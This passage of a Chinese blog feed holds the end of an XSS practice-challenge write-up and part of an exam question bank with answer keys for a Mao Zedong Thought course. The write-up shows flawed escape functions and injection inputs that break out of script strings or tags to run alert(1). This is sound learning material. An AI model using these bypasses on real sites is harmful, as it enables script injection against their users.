regex-delimiter">/</span><span class="token regex-source language-regex">\n</span><span class="token regex-delimiter">/</span><span class="token regex-flags">g</span></span><span class="token punctuation">,</span> <span class="token string">'\\n'</span><span class="token punctuation">)</span>            <span class="token punctuation">.</span><span class="token function">replace</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">\r</span><span class="token regex-delimiter">/</span><span class="token regex-flags">g</span></span><span class="token punctuation">,</span> <span class="token string">'\\r'</span><span class="token punctuation">)</span>            <span class="token punctuation">.</span><span class="token function">replace</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">\t</span><span class="token regex-delimiter">/</span><span class="token regex-flags">g</span></span><span class="token punctuation">,</span> <span class="token string">'\\t'</span><span class="token punctuation">)</span>            <span class="token punctuation">.</span><span class="token function">replace</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">\f</span><span class="token regex-delimiter">/</span><span class="token regex-flags">g</span></span><span class="token punctuation">,</span> <span class="token string">'\\f'</span><span class="token punctuation">)</span>            <span class="token punctuation">.</span><span class="token function">replace</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">\v</span><span class="token regex-delimiter">/</span><span class="token regex-flags">g</span></span><span class="token punctuation">,</span> <span class="token string">'\\v'</span><span class="token punctuation">)</span>            <span class="token comment">// .replace(/\b/g, '\\b')</span>            <span class="token punctuation">.</span><span class="token function">replace</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">\0</span><span class="token regex-delimiter">/</span><span class="token regex-flags">g</span></span><span class="token punctuation">,</span> <span class="token string">'\\0'</span><span class="token punctuation">)</span>  <span class="token punctuation">&#125;</span>  s <span class="token operator">=</span> <span class="token function">escapeJs</span><span class="token punctuation">(</span>s<span class="token punctuation">)</span>  <span class="token keyword">return</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">&lt;script>  var url = 'javascript:console.log("</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">$&#123;</span>s<span class="token interpolation-punctuation punctuation">&#125;</span></span><span class="token string">")'  var a = document.createElement('a')  a.href = url  document.body.appendChild(a)  a.click()&lt;/script></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">&#125;</span></code></pre><h4 id="input-code-16"><a href="#input-code-16" class="headerlink" title="input code"></a>input code</h4><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token string">"),alert("</span><span class="token number">1</span></code></pre><h4 id="解释-16"><a href="#解释-16" class="headerlink" title="解释"></a>解释</h4><blockquote><p>过滤了很多的字符。并且将” 替换成  &quot; ，但是并没有什么卵用，\正好可以当做是双引号里面的内容。输入的内容在javascript:console.log里面，我们将这个闭合以后添加一个alert然后把后面的注释掉。</p></blockquote><h4 id="运行结果-14"><a href="#运行结果-14" class="headerlink" title="运行结果"></a>运行结果</h4><h3 id="0x12"><a href="#0x12" class="headerlink" title="0x12"></a>0x12</h3><h4 id="server-code-18"><a href="#server-code-18" class="headerlink" title="server code"></a>server code</h4><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token comment">// from alf.nu</span><span class="token keyword">function</span> <span class="token function">escape</span> <span class="token punctuation">(</span><span class="token parameter">s</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>  s <span class="token operator">=</span> s<span class="token punctuation">.</span><span class="token function">replace</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">"</span><span class="token regex-delimiter">/</span><span class="token regex-flags">g</span></span><span class="token punctuation">,</span> <span class="token string">'\\"'</span><span class="token punctuation">)</span>  <span class="token keyword">return</span> <span class="token string">'&lt;script>console.log("'</span> <span class="token operator">+</span> s <span class="token operator">+</span> <span class="token string">'");&lt;/script>'</span><span class="token punctuation">&#125;</span></code></pre><h4 id="input-code-17"><a href="#input-code-17" class="headerlink" title="input code"></a>input code</h4><pre class="language-javascript" data-language="javascript"><code class="language-javascript">\"<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">alert</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token comment">//</span></code></pre><h4 id="解释-17"><a href="#解释-17" class="headerlink" title="解释"></a>解释</h4><blockquote><p>将 “ 替换成 &quot; ，输入的内容在console.log里面，在html标签外面，所以不能进行html编码。</p><p>这里可以直接闭合掉script标签，重新添加一个</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript"><span class="token operator">&lt;</span><span class="token operator">/</span>script<span class="token operator">></span><span class="token operator">&lt;</span>script<span class="token operator">></span><span class="token function">alert</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token operator">&lt;</span><span class="token operator">/</span>script<span class="token operator">></span></code></pre><p>也可以将替换的 &quot; 的 \在前面再添加一个\转义掉。</p><pre class="language-javascript" data-language="javascript"><code class="language-javascript">\"<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token function">alert</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">//</span></code></pre></blockquote><h4 id="运行结果-15"><a href="#运行结果-15" class="headerlink" title="运行结果"></a>运行结果</h4>]]>
    </content>
    <id>https://wmcoder.net/posts/6057.html</id>
    <link href="https://wmcoder.net/posts/6057.html"/>
    <published>2021-07-17T04:00:00.000Z</published>
    <summary>
      <![CDATA[<h1 id="xss-demo刷题记录"><a href="#xss-demo刷题记录" class="headerlink" title="xss-demo刷题记录"></a><a href="https://github.com/haozi/xss-demo" target]]>
    </summary>
    <title>xss-demo刷题记录</title>
    <updated>2021-07-17T04:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>未名</name>
    </author>
    <category term="其他" scheme="https://wmcoder.net/categories/%E5%85%B6%E4%BB%96/"/>
    <category term="其他" scheme="https://wmcoder.net/tags/%E5%85%B6%E4%BB%96/"/>
    <content>
      <![CDATA[<h1 id="毛概考试题库（801道）"><a href="#毛概考试题库（801道）" class="headerlink" title="毛概考试题库（801道）"></a>毛概考试题库（801道）</h1><blockquote><p>关注微信公众号“<strong>未名编程</strong>”，回复“<strong>毛概</strong>”即可<strong>免费</strong>获得pdf版本。</p></blockquote><blockquote><p>原文配图所在的旧对象存储已经失效，题库正文仍完整保留。</p></blockquote><hr><h2 id="第一章"><a href="#第一章" class="headerlink" title="第一章"></a>第一章</h2><h3 id="一-单选题（63-题，63-0-分）"><a href="#一-单选题（63-题，63-0-分）" class="headerlink" title="一.单选题（63 题，63.0 分）"></a>一.单选题（63 题，63.0 分）</h3><p><strong>1、中国共产党新民主主义革命理论的形成，标志着毛泽东思想()。</strong><br>A. 开始形成<br>B. 继续发展<br>C. 达到成熟<br>D. 基本形成<br>正确答案：C</p><p><strong>2、毛泽东思想形成时期的时代主题是()。</strong><br>A. 革命与发展<br>B. 战争与革命<br>C. 战争与发展<br>D. 和平与发展<br>正确答案：B</p><p><strong>3、第一次全面、系统地提出并阐释了“毛泽东思想”的科学定义，并作为党的指导思想写进党章的会议是()。</strong><br>A. 遵义会议<br>B. 党的七大<br>C. 党的七届二中全会<br>D. 党的八大<br>正确答案：B</p><p><strong>4、毛泽东思想开始形成的标志是()。</strong><br>A. 人民战争思想的形成<br>B. 农村包围城市道路理论的提出<br>C. 新民主主义革命理论的完整论述<br>D. 人民军队建设理论的产生<br>正确答案：B</p><p><strong>5、中国共产党成立前后，为毛泽东思想的萌芽准备了科学的世界观和方法论基础的是()。</strong><br>A. 工人阶级队伍的壮大及工人运动发展<br>B. 马克思列宁主义在中国的广泛传播<br>C. 俄国十月革命胜利成果的总结<br>D. 新文化运动中激进知识分子的参加正确答案：B</p><p><strong>6、关于在毛泽东指引下党领导人民找到的道路的认识说法不正确的是()。</strong><br>A. 新民主主义革命的道路<br>B. 改革开放和社会主义建设的道路<br>C. 新民主主义向社会主义过渡的道路<br>D. 建立中华人民共和国<br>正确答案：B</p><p><strong>7、集中体现毛泽东新民主主义革命理论的著作是()。</strong><br>A. 《中国社会各阶级的分析》<br>B. 《新民主主义论》</p><p>C. 《〈共产党人〉发刊词》<br>D. 《中国革命和中国共产党》<br>正确答案：B</p><p><strong>8、毛泽东思想形成和发展的实践基础是中国共产党领导人民进行()的成功实践。</strong><br>A. 改革和发展<br>B. 革命和建设<br>C. 探索和实践<br>D. 建设和改革<br>正确答案：B</p><p><strong>9、毛泽东思想确立为党的指导思想并写入党章是在()。</strong><br>A. 延安整风时期<br>B. 遵义会议<br>C. 党的六届六中全会<br>D. 党的七大<br>正确答案：D<br><strong>10、毛泽东在全党的实际领导地位是在哪次会议上确立的？</strong><br>A. 党的六届六中全会<br>B. 遵义会议<br>C. 党的七大<br>D. 延安整风时期<br>正确答案：B<br><strong>11、中国共产党对待马克思主义唯一正确和科学的态度是()。</strong><br>A. 坚持马克思主义基本原理与中国具体实际相结合<br>B. 坚持维护马克思主义的原创性<br>C. 靠考证马克思关于某一问题的某一论证来解决问题<br>D. 马克思主义是神圣不可侵犯的<br>正确答案：A<br><strong>12、毛泽东思想形成的最主要标志是()。</strong><br>A. 农村包围城市、武装夺取政权的革命道路理论的提出<br>B. 实事求是思想路线的提出<br>C. 党指挥枪原则的提出<br>D. 党的七大把毛泽东思想确立为党的指导思想正确答案：A<br><strong>13、下列不是毛泽东思想产生和形成的思想理论条件的是()。</strong><br>A. 新文化运动的兴起<br>B. 工人运动的发展<br>C. 俄国十月革命的胜利，使中国先进分子转而向俄国学习，开始接受和传播马克思主义<br>D. 马列主义在中国的广泛传播<br>正确答案：B<br><strong>14、土地革命战争时期，中国共产党人成功开辟了新民主主义革命道路，这就是()。</strong><br>A. 城市工人武装起义<br>B. 农村包围城市、武装夺取政权<br>C. 以城市为中心</p><p>D. 和平长入社会主义<br>正确答案：B </p><p><strong>15、毛泽东思想趋于成熟是在()。</strong><br>A. 遵义会议以后<br>B. 大革命时期<br>C. 土地革命战争时期<br>D. 社会主义建设时期<br>正确答案：A<br><strong>16、毛泽东明确提出要把马克思列宁主义的基本原理同中国革命和建设的具体实际进行“第二次结合，找出在中国怎样建设社会主义的道路”的任务是在()。</strong><br>A. 遵义会议以后<br>B. 第一次国内革命战争时期<br>C. 社会主义初级阶段<br>D. 解放战争时期和中华人民共和国成立以后正确答案：D<br><strong>17、1938 年，毛泽东在六届六中全会上第一次提出“马克思主义中国化”这一命题是在下列哪个报告中？()</strong><br>A. 《井冈山的斗争》<br>B. 《论持久战》<br>C. 《湖南农民运动考察报告》<br>D. 《论新阶段》<br>正确答案：D<br><strong>18、毛泽东思想和中国特色社会主义理论体系这两大理论的共同理论基础是()。</strong><br>A. 实事求是思想<br>B. 共产主义理想<br>C. 社会主义初级阶段理论<br>D. 马克思列宁主义<br>正确答案：D<br><strong>19、党的七大通过的《中国共产党章程》在总纲中确定，以马克思列宁主义的理论与中国革命的实践之统一的思想（ ），作为我们党一切工作的指南。</strong><br>A. 马列主义<br>B. 邓小平理论<br>C. 马克思主义中国化<br>D. 毛泽东思想<br>正确答案：D<br><strong>20、中国共产党内第一个使用“毛泽东思想”概念并产生较大影响的是()。</strong><br>A. 王稼祥<br>B. 刘少奇<br>C. 朱德<br>D. 周恩来<br>正确答案：A<br><strong>21、毛泽东第一次借用中国传统文化的“实事求是”来提倡马克思主义同中国实际相结合的科学态度是在()。</strong><br>A. 《论新阶段》</p><p>B. 《古田会议决议》<br>C. 《改造我们的学习》<br>D. 《反对本本主义》<br>正确答案：A<br><strong>22、中国共产党把毛泽东思想作为自己的指导思想，主要是因为()。</strong><br>A. 毛泽东思想对中国革命和建设具有普遍的指导意义<br>B. 毛泽东思想是中国共产党集体智慧的结晶<br>C. 毛泽东思想是中国化的马克思主义<br>D. 毛泽东思想是中华民族的优秀文化正确答案：A<br><strong>23、就毛泽东一生来看，对他的功过评价中肯的是()。</strong><br>A. 过大于功<br>B. 功过参半<br>C. 功大于过<br>D. 有功无过<br>正确答案：C<br><strong>24、中共十一届三中全会后对毛泽东思想的历史地位作出科学评价的文献是()。</strong><br>A. 《解放思想，实事求是，团结一致向前看》<br>B. 《全面开创社会主义现代化建设的新局面》<br>C. 《关于建国以来党的若干历史问题的决议》<br>D. 《关于社会主义精神文明建设的决议》正确答案：C<br><strong>25、毛泽东和毛泽东思想的认识错误倾向主要有()。</strong><br>A. 实事求是<br>B. 历史分析法<br>C. “两个凡是”和全盘否定<br>D. 区分过失与功绩<br>正确答案：C<br><strong>26、关于毛泽东晚年错误思想认识正确的是()。</strong><br>A. 毛泽东晚年思想都属于毛泽东思想一部分<br>B. 毛泽东晚年思想都是错误的思想<br>C. 毛泽东晚年错误思想不属于毛泽东思想<br>D. 毛泽东晚年错误思想就是指“文化大革命”的思想正确答案：C<br><strong>27、下列著作中，被认为是中国共产党人第一篇反对教条主义的重要文献是()。</strong><br>A. 《井冈山的斗争》<br>B. 《星星之火，可以燎原》<br>C. 《反对本本主义》<br>D. 《中国的红色政权为什么能够存在？》正确答案：C<br><strong>28、20 世纪的中国经历了三次历史性巨变，以毛泽东为核心的第一代领导集体领导下发生的历史性巨变是()。</strong><br>A. 推翻清王朝，结束封建帝制<br>B. 进行国民革命，推翻北洋军阀政权</p><p>C. 建立中华人民共和国和社会主义制度<br>D. 实行改革开放，进行社会主义现代化建设正确答案：C<br><strong>29、“一切为了群众，一切依靠群众，从群众中来，到群众中去，把党的正确主张变为群众的自觉行动。”这是党章对()的表述。</strong><br>A. 党的思想路线<br>B. 党的群众路线<br>C. 党的政治路线<br>D. 党的组织路线<br>正确答案：B<br><strong>30、作为党的思想路线“实事求是”中的“是”是指()。</strong><br>A. 客观存在着的一切事物<br>B. 客观事物的内部联系，即规律性<br>C. 主观对客观的能动反映<br>D. 客观事物的运动、变化和发展，即辩证法正确答案：B<br><strong>31、实事求是的基本含义是()。</strong><br>A. 从客观事物的现象出发<br>B. 从客观存在的一切事物中，去研究事物的发展规律<br>C. 找出事物的因果联系<br>D. 发现事物本质与现象的区别<br>正确答案：B </p><p><strong>32、实事求是的“实事”指的是()。</strong><br>A. 研究<br>B. 客观事物<br>C. 从实际出发<br>D. 客观事物的内在规律性<br>正确答案：B<br><strong>33、建国初，党曾提出在 20 世纪内，分两步走把我国建设成为“四个()”的社会主义国家的构想。</strong><br>A. 全面化<br>B. 现代化<br>C. 科技化<br>D. 知识化<br>正确答案：B<br><strong>34、早在 1953 年，中华人民共和国开始第一个五年计划建设时，()就提出要学习先进的科学</strong><br><strong>技术来建设我们的国家。</strong><br>A. 邓小平<br>B. 毛泽东<br>C. 周恩来<br>D. 刘少奇<br>正确答案：B<br><strong>35、党领导人民在极端艰苦的环境下，创建了工农红军，建立了农村革命根据地和工农政权</strong></p><p><strong>是在()时期。</strong><br>A. 第一次国内革命时期<br>B. 土地革命战争时期<br>C. 解放战争时期<br>D. 社会主义建设时期<br>正确答案：B<br><strong>36、坚持实事求是的思想路线，在中国革命、建设和改革问题上，最根本的要求就是要()。</strong><br>A. 以经济建设为中心<br>B. 坚定不移地走自己的路<br>C. 坚持改革开放<br>D. 坚持四项基本原则<br>正确答案：B<br><strong>37、毛泽东思想是马克思主义与中国实际相结合的()。</strong><br>A. 第一次历史性飞跃形成的理论成果<br>B. 初步成果<br>C. 社会主义新时代理论成果<br>D. 第二次历史性飞跃形成的理论成果正确答案：A<br><strong>38、中华人民共和国成立后，毛泽东提出必须加强国防建设，建设现代化革命武装力量和发展现代化国防技术等重要思想形成的理论是()。</strong><br>A. 革命军队建设和军事战略的理论<br>B. 社会主义革命和社会主义建设理论<br>C. 政策和策略理论<br>D. 新民主主义革命理论<br>正确答案：A<br><strong>39、毛泽东的思想理论当中指出政策和策略是党的生命，必须根据组织形势，阶级关系和实际情况及其变化制定党的政策，把()结合起来。</strong><br>A. 时效性和原则性<br>B. 原则性和灵活性<br>C. 原则性和根本性<br>D. 时效性和根本性<br>正确答案：B<br><strong>40、党的十一届六中全会上通过的《中国共产党中央委员会关于建国以来党的若干历史问题的决议》提出的重要理论观点是()。</strong><br>A. 党的领导权<br>B. 毛泽东思想的活的灵魂<br>C. 马克思主义中国化<br>D. 人民民主专政<br>正确答案：B<br><strong>41、党的思想路线要求我们研究问题和作决策的出发点是()。</strong><br>A. 理论知识<br>B. 客观实际<br>C. 主观世界<br>D. 党的理论</p><p>正确答案：B<br><strong>42、贯穿于马克思主义中国化理论成果始终的是()。</strong><br>A. 理论创新<br>B. 实事求是<br>C. 本本主义<br>D. 中体西用<br>正确答案：B<br><strong>43、在关于社会主义发展阶段问题上，毛泽东提出，社会主义可以被分为两个阶段，其中第二个阶段是()。</strong><br>A. 社会主义中级阶段<br>B. 社会主义初级阶段<br>C. 共产主义初级阶段<br>D. 比较发达的社会主义<br>正确答案：D<br><strong>44、()提出了把我国由农业国变为工业国，实现国家现代化的构想。</strong><br>A. 党的七届二中全会<br>B. 党的七届三中全会<br>C. 中共七大<br>D. 中共八大<br>正确答案：A<br><strong>45、毛泽东在()文章中初步界定了中国共产党人的思想路线的基本含义。</strong><br>A. 《论十大关系》<br>B. 《实践论》<br>C. 《矛盾论》<br>D. 《反对本本主义》<br>正确答案：D<br><strong>46、中华人民共和国成立后，曾经认为公有制程度越高越好，对()采取了简单排斥的做法。</strong><br>A. 社会主义分配制度<br>B. 公有制<br>C. 按劳分配<br>D. 非公有制经济<br>正确答案：D<br><strong>47、中国革命和建设的基本立足点是()。</strong><br>A. 改革开放<br>B. 群众路线<br>C. 实事求是<br>D. 独立自主<br>正确答案：D<br><strong>48、毛泽东指出，()是党的生命，必须根据组织形势，阶级关系和实际情况及其变化制定党的政策。</strong><br>A. 党的建设<br>B. 思想政治和文化工作<br>C. 革命军队建设和军事战略<br>D. 政策和策略</p><p>正确答案：D<br><strong>49、关于毛泽东思想活的灵魂说法错误的是()。</strong><br>A. 是党和人民十分宝贵的精神财富<br>B. 体现了马克思主义的基本立场、观点和方法<br>C. 具有中国共产党人的特色<br>D. 成熟于土地革命时期<br>正确答案：D </p><p><strong>50、毛泽东思想的精髓是()。</strong><br>A. 独立自主<br>B. 群众路线<br>C. 统一战线<br>D. 实事求是<br>正确答案：D<br><strong>51、在党的历史上，第一个明确地提出解决思想路线这个问题的领导人是()。</strong><br>A. 邓小平<br>B. 刘少奇<br>C. 周恩来<br>D. 毛泽东<br>正确答案：D<br><strong>52、对“实事求是”做马克思主义的解释并把它确立为中国共产党的思想路线的是()。</strong><br>A. 邓小平<br>B. 习近平<br>C. 刘少奇<br>D. 毛泽东<br>正确答案：D<br><strong>53、20 世纪 30 年代，中国共产党内最早提出反对教条主义任务的领导人是()。</strong><br>A. 张闻天<br>B. 刘少奇<br>C. 周恩来<br>D. 毛泽东<br>正确答案：D<br><strong>54、毛泽东关于社会主义社会矛盾的学说与八大关于社会主要矛盾的论断是()。</strong><br>A. 互为冲突<br>B. 完全不同<br>C. 没有关系<br>D. 基本一致<br>正确答案：D<br><strong>55、我国坚持在()基础上发展同所有国家的友好合作关系。</strong><br>A. 互惠互利<br>B. 独立自主<br>C. 合作共赢<br>D. 和平共处五项原则<br>正确答案：D<br><strong>56、建设中国特色的社会主义路线、方针、政策的检验标准是()。</strong></p><p>A. 实践<br>B. 领导人的想法和意志<br>C. 决策机关的权力大小<br>D. 马克思主义的经典著作<br>正确答案：A<br><strong>57、中国共产党人认识世界改造世界的的根本要求是()。</strong><br>A. 实事求是<br>B. 独立自主<br>C. 主观能动<br>D. 群众路线<br>正确答案：A </p><p><strong>58、中国共产党的根本工作路线是()。</strong><br>A. 群众路线<br>B. 政治路线<br>C. 干部路线<br>D. 组织路线<br>正确答案：A<br><strong>59、下列关于毛泽东思想说法错误的是()。</strong><br>A. 毛泽东思想是局限于中国革命的理论<br>B. 毛泽东思想是关于中国革命和建设的正确的理论原则和经验总结<br>C. 毛泽东思想是中国共产党集体智慧结晶<br>D. 毛泽东思想是马列主义在中国的运用和发展正确答案：A<br><strong>60、中国共产党把毛泽东思想作为指导思想，最根本的原因是()。</strong><br>A. 毛泽东思想被实践证明是正确的<br>B. 毛泽东思想是中华民族的精神支柱<br>C. 毛泽东思想是中国化的马克思主义<br>D. 毛泽东思想吸收了传统文化的精华正确答案：A<br><strong>61、下面对于独立自主认识不正确的是()。</strong><br>A. 这要求我们关起门来搞建设<br>B. 是我们立党立国的重要原则<br>C. 也反映了老一辈无产阶级革命家决策时的鉴定决策和信念<br>D. 是中华民族的优良传统<br>正确答案：A<br><strong>62、我们讲一切从实际出发，其中我国社会面临的最大的实际是()。</strong><br>A. 我国正处于并将长期处于社会主义初级阶段<br>B. 我国经济总量快速增长，已经达到中等发达国家水平<br>C. 我国综合国力上升，国际影响力真正不断地增强<br>D. 我国是一个人口和资源大国<br>正确答案：A<br><strong>63、中国共产党国共十年对峙时期土地政策是“打土豪，分田地，废除封建剥削和债务”； 抗战时期政策改为“地主减租减息，农民交租交息”。这反映了( )。</strong><br>A. 中国共产党实事求是的思想路线</p><p>B. 封建主义不再是阻碍中国发展的因素<br>C. 地主与农民的阶级矛盾渐趋消失<br>D. 中国共产党已取得民族民主革命的领导地位正确答案：A</p><h3 id="二-多选题（39-题，39-0-分）"><a href="#二-多选题（39-题，39-0-分）" class="headerlink" title="二.多选题（39 题，39.0 分）"></a>二.多选题（39 题，39.0 分）</h3><p><strong>1、毛泽东思想是在我国()的实践过程中，在总结我国革命和建设正反两方面历史经验的基础上，逐步形成和发展起来的。</strong><br>A. 改革开放<br>B. 新民主主义革命<br>C. 社会主义革命<br>D. 社会主义建设<br>正确答案：BCD<br><strong>2、毛泽东在()等理论著作中，科学阐述了新民主主义革命的对象、动力、领导力量、性质和前途等基本问题。</strong><br>A. 《〈共产党人〉发刊词》<br>B. 《中国革命和中国共产党》<br>C. 《新民主主义论》<br>D. 《论联合政府》<br>正确答案：ABCD<br><strong>3、下列各项中，体现了毛泽东思想在解放战争时期和中华人民共和国成立以后继续得到发展的有()。</strong><br>A. 形成了人民民主专政的理论<br>B. 阐述了新民主主义向社会主义转变的思想<br>C. 论述了社会主义社会的基本矛盾<br>D. 提出了正确区分和处理两类不同性质矛盾的学说正确答案：ABCD<br><strong>4、下列中属于毛泽东思想形成和发展的鲜明特点的有()。</strong><br>A. 毛泽东思想是马克思列宁主义同中国实际相结合的产物<br>B. 毛泽东思想的形成是中国自身的产物，和外来思想无关<br>C. 毛泽东思想是在同错误思潮的斗争中形成和发展的<br>D. 毛泽东思想形成和发展的过程，就是马克思主义中国化的过程正确答案：ACD<br><strong>5、中华人民共和国成立后，以毛泽东为代表的中国共产党人带领人民进行的探索主要是()。</strong><br>A. 在“冷战”和两大阵营激烈对抗的国际环境中恢复国民经济<br>B. 进行改革开放<br>C. 进行社会主义改造<br>D. 探索社会主义建设道路<br>正确答案：ACD<br><strong>6、毛泽东在()这两篇著作中，运用马克思主义的认识论和辩证法，系统分析了党内“左”的和右的错误的思想根源。</strong><br>A. 《中国革命和中国共产党》<br>B. 《实践论》<br>C. 《矛盾论》<br>D. 《新民主主义论》</p><p>正确答案：BC<br><strong>7、“马克思主义中国化”成为中国共产党人的重大时代课题，是因为()。</strong><br>A. 民族主义发展的要求<br>B. 马克思主义理论发展的内在要求<br>C. 解决中国实际问题的客观需要<br>D. 融入共产国际的需要<br>正确答案：BC<br><strong>8、第一次国内革命战争时期，毛泽东以马克思列宁主义为指导，深入实际调查研究，在()等著作中，分析了中国社会各阶级在革命中的地位和作用，提出了新民主主义革命的基本思想。</strong><br>A. 《中国社会各阶级的分析》<br>B. 《论联合政府》<br>C. 《湖南农民运动考察报告》<br>D. 《新民主主义论》<br>正确答案：AC<br><strong>9、毛泽东对中国特色社会主义的历史性贡献主要有()。</strong><br>A. 对市场经济的论述奠定了我国社会主义市场经济理论的基础<br>B. 对社会主义建设道路的探索为中国特色社会主义道路积累了历史经验<br>C. 毛泽东社会主义建设思想为中国特色社会主义理论的形成提供了基础<br>D. 对社会主义基本制度的设计建构了中国特色社会主义制度的基本框架</p><p>正确答案：BCD<br><strong>10、下列对毛泽东的历史评价中说法正确的是()。</strong><br>A. 毛泽东是新中国的创设者和奠基人<br>B. 毛泽东是中国特色社会主义道路的开创者<br>C. 毛泽东是中国特色社会主义理论体系的创立者<br>D. 毛泽东是中国特色社会主义制度的奠基者</p><p>正确答案：AD<br><strong>11、社会主义基本制度确立以后，毛泽东又积极探索适合中国国情的社会主义建设道路，提出了一系列具有战略意义的正确思想和方针，包括()。</strong><br>A. 改革开放<br>B. 调动一切积极因素为社会主义服务的思想<br>C. 正确认识和把握社会主义社会的基本矛盾<br>D. 正确处理人民内部矛盾<br>正确答案：BCD<br><strong>12、毛泽东提出许多重要的政策和策略思想，以下内容属于毛泽东政策和策略理论的是()。</strong><br>A. 一切学习苏联<br>B. 战略上藐视敌人、战术上重视敌人<br>C. 区别对待、分化瓦解<br>D. 有理、有利、有节<br>正确答案：BCD<br><strong>13、之所以说实事求是是马克思主义中国化理论成果的精髓，是因为()。</strong><br>A. 实事求是仅在中国有价值<br>B. 实事求是贯穿于马克思主义中国化两大理论成果形成和发展的全过程<br>C. 实事求是体现于马克思主义中国化两大理论成果基本内容的各个方面</p><p>D. 实事求是是渗透于马克思主义中国化两大理论成果的方法论原则</p><p>正确答案：BCD<br><strong>14、坚持独立自主的重要原则，就是要()。</strong><br>A. 坚持以我为主，完全不需要遵守所谓的国际原则和国际秩序<br>B. 坚持中国的事情必须由中国人民自己作主张，自己来处理<br>C. 坚持独立思考，维护民族独立和捍卫国家主权<br>D. 在吸收国外有益经验的同时不被各种形式的教条主义和经验主义所干扰</p><p>正确答案：BCD<br><strong>15、毛泽东党的建设理论中著名的“三大作风”包括()。</strong><br>A. 理论和实际相结合的作风<br>B. 和人民群众紧密联系在一起的作风<br>C. 自我批评的作风<br>D. 严守书本理论的作风<br>正确答案：ABC<br><strong>16、以下属于毛泽东思想活的灵魂的方面是()。</strong><br>A. 实事求是<br>B. 群众路线<br>C. 独立自主<br>D. 本本主义<br>正确答案：ABC<br><strong>17、在革命军队建设各军事策略理论中毛泽东系统解决的问题包括()。</strong><br>A. 解决了如何把以农民为主要成分的革命军队建设成为一支无产阶级性质的新型人民军队的问题<br>B. 解决了在中国这样一个半殖民地半封建的东方大国如何开展人民战争的问题<br>C. 解决了应当实行什么样的战略战术的问题<br>D. 解决了社会主义道路问题<br>正确答案：ABC<br><strong>18、毛泽东在《改造我们的学习》的报告中,对“实事求是”的含义作出的界定是()。</strong><br>A. “实事”就是客观存在的事物<br>B. “是”就是客观事物的内部联系，即规律性<br>C. “求”就是我们去研究<br>D. “实事求是”就是实用主义<br>正确答案：ABC<br><strong>19、下列属于毛泽东思想政治工作和文化工作理论的是()。</strong><br>A. 关于思想政治工作是经济工作和其他一切工作的生命线<br>B. 关于发展民族的、科学的、大众的文化<br>C. 实行百花齐放、百家争鸣和古为今用、洋为中用、推陈出新的方针<br>D. 关于知识分子在革命和建设中具有的重要作用正确答案：ABCD<br><strong>20、关于毛泽东党的建设理论说法正确的是()。</strong><br>A. 成功地解决了在无产阶级人数很少而战斗力很强、农民和其他小资产阶级占人口绝大多数的国家，如何建设一个具有广泛群众性的、马克思主义政党的<br>问题<br>B. 特别注重从思想上建党</p><p>C. 强调在党内斗争中要坚持“惩前毖后、治病救人”的正确方针<br>D. 提出以无产阶级思想改造和克服各种非无产阶级思想</p><p>正确答案：ABCD<br><strong>21、党的思想路线的主要内容是有()。</strong><br>A. 一切从实际出发<br>B. 理论联系实际<br>C. 实事求是<br>D. 在实践中检验真理和发展真理<br>正确答案：ABCD<br><strong>22、下面属于毛泽东社会主义建设思想的是()。</strong><br>A. 调动一切积极因素为社会主义服务<br>B. 关于正确处理社会主义建设的重大关系<br>C. 关于正确认识和处理社会主义社会的基本矛盾和两类矛盾<br>D. 坚持走中国工业化道路的思想<br>正确答案：ABCD </p><p><strong>23、毛泽东思想的主要内容包括()。</strong><br>A. 关于革命军队建设和军事战略的理论<br>B. 关于社会主义革命和社会主义建设的理论<br>C. 关于思想政治工作和文化工作的理论<br>D. 关于政策和策略的理论<br>正确答案：ABCD<br><strong>24、毛泽东思想具有多方面的内容，除了关于新民主主义革命理论外，还有()。</strong><br>A. 关于社会主义革命和社会主义建设理论<br>B. 关于革命军队的建设和军事战略理论<br>C. 关于政策和策略理论<br>D. 关于思想政治工作和文化工作的理论正确答案：ABCD<br><strong>25、党的实事求是思想路线的基本要求是()。</strong><br>A. 一切从实际出发<br>B. 理论联系实际<br>C. 实践是检验真理的唯一标准<br>D. 尊重实践、尊重群众的创造和利益<br>正确答案：ABCD<br><strong>26、确立实事求是的思想路线对于中国革命和建设的重要意义是()。</strong><br>A. 马克思主义认识论在马克思主义中国化实践过程中的的运用、丰富和发展<br>B. 开辟建设有中国特色的社会主义事业的根本保证<br>C. 制定并贯彻执行正确的政治路线的思想基础<br>D. 加强党的思想作风建设和提高领导能力的重要内容</p><p>正确答案：ABCD<br><strong>27、“两个凡是”的提出对于“文革”刚刚结束后的中国有很大消极影响，这体现在()。</strong><br>A. 无法正确区分毛泽东思想和毛泽东晚年的错误<br>B. 不可能完整准确地理解和掌握毛泽东思想的精神实质<br>C. 不可能改变人们在文革中形成的僵化的思想状态<br>D. 不可能开创社会主义建设的新局面</p><p>正确答案：ABCD </p><p><strong>28、毛泽东思想是()。</strong><br>A. 马克思主义中国化的第一个重大理论成果<br>B. 被实践证明了的关于中国革命和建设的正确理论原则和经验总结<br>C. 中国共产党集体智慧的结晶<br>D. 马列主义在中国的运用和发展<br>正确答案：ABCD<br><strong>29、毛泽东提出社会主义社会仍然存在着矛盾，基本的矛盾仍然是()。</strong><br>A. 生产关系和生产力之间的矛盾<br>B. 